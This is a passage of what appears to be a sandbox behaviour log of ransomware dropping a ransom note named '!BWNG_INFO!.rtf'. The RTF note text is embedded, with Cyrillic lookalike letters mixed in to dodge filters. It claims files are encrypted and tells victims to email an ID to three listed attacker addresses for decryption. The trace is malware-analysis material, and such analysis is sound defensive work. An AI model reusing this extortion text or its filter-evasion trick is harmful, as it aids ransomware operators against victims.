dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n^ûÐ×Þd«×>¨¢P¯É_vø½zye®K\x0e\x1c+\\\x08â±\x93Í\x04", lpUsedDefaultChar=0x0) returned 14086 [0033.918] WriteFile (in: hFile=0x1cc, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0033.919] CloseHandle (hObject=0x1cc) returned 1 [0033.920] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\!bwng_info!.rtf")) returned 0xffffffff [0033.920] GetLastError () returned 0x2 [0033.920] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0033.920] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 